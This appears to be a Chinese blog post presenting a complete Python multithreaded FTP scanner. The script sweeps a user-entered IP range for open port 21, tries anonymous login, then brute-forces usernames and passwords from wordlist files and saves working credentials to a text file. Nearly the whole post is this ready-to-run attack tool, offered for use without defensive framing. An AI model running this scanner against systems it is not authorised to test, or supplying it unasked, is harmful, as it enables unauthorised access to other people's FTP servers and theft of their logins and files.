自己实现的一个python版本的多线程 ftp扫描器,python版本3.0以上

扫描器 Github地址

主要代码如下:

#!/usr/bin/env python$
# coding=utf-8
'''
python版本必须满足3.0以上

'''

import socket,ftplib,sys,os
from concurrent.futures import ThreadPoolExecutor #python 3.0以上可以使用的线程池


def ip2num(ip):
    #ip to num
    ip = [int(x) for x in ip.split('.')]
    return ip[0] << 24 | ip[1] << 16 | ip[2] << 8 | ip[3]

def num2ip(num):
    #num to ip
    return '%s.%s.%s.%s' % ((num & 0xff000000) >> 24,
                            (num & 0x00ff0000) >> 16,
                            (num & 0x0000ff00) >> 8,
                            num & 0x000000ff)

def ip_range(start, end):
    return [num2ip(num) for num in range(ip2num(start), ip2num(end) + 1) if num & 0xff]

def login(ip,user,passwd):
    try:
        ftp = ftplib.FTP(ip)
        ftp.login(user,passwd)
    except ftplib.all_errors:
        pass
    else:
        print("Login success!--------------> {}".format(ip))
        with open(os.path.abspath('.')+'/ftpaccount.txt','a+') as f:
            f.write(ip+'#'+user+'#'+passwd+'\n')
        ftp.quit()

def loginanonymously(ip):
    try:
        ftp = ftplib.FTP(ip)
        ftp.login()
    except ftplib.all_errors:
        print("Login as Anonymously False! {}".format(ip))
        try:
            with ThreadPoolExecutor(3) as Executor:
                with open(sys.argv[1],'r') as userfile:
                    with open(sys.argv[2],'r') as passwdfile:
                        for user in userfile:
                            user = user.strip('\n')
                            for passwd in passwdfile:
                                passwd = passwd.strip('\n')
                                try:
                                    Executor.submit(login,ip,user,passwd)
                                except Exception as e:
                                    print(e)
                                    pass
        except ftplib.all_errors:
            pass
    else:
        print("Login success!--------------->  {}".format(ip))
        with open(os.path.abspath('.')+'/ftpanonymously.txt','a+') as f:
            f.write(ip+'\n')
        ftp.quit()

def conn(ip):
    try:
        serv = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        check = serv.connect_ex((ip,21))
        if check == 0:
            loginanonymously(ip)
            with open(os.path.abspath('.')+'/open21.txt','a+') as f:
                f.write(ip+'\r\n')
        else:
            print("[+]{} No Found FTP Port".format(ip))
        serv.close()
    except Exception as e:
        print(e)
        pass

def scanner(iplist,ThreadNum):#调用函数
    socket.setdefaulttimeout(2.5)#可以根据你的需求更改socket 失效时间
    with ThreadPoolExecutor(ThreadNum) as Executor: #加入线程池中
        for ip in iplist:
            try:
                Executor.submit(conn,ip)
            except Exception as e:
                print(e)
                pass

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print("[+]Please Using :")
        print("[+]scanner.py user.txt passwd.txt")
        sys.exit(0)
    print("[+]---------Welcome to FTP scanner v1.0---------")
    print("[+]----------------By ytala---------------------")
    print("[+]---http://blog.csdn.net/syh_486_007----------")
    start_ip = input("[+]Start IPaddr: ")
    end_ip = input("[+]End ipaddr: ")
    ThreadNum = input("Thread Number: ")
    iplist = ip_range(start_ip,end_ip)
    scanner(iplist,int(ThreadNum))
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值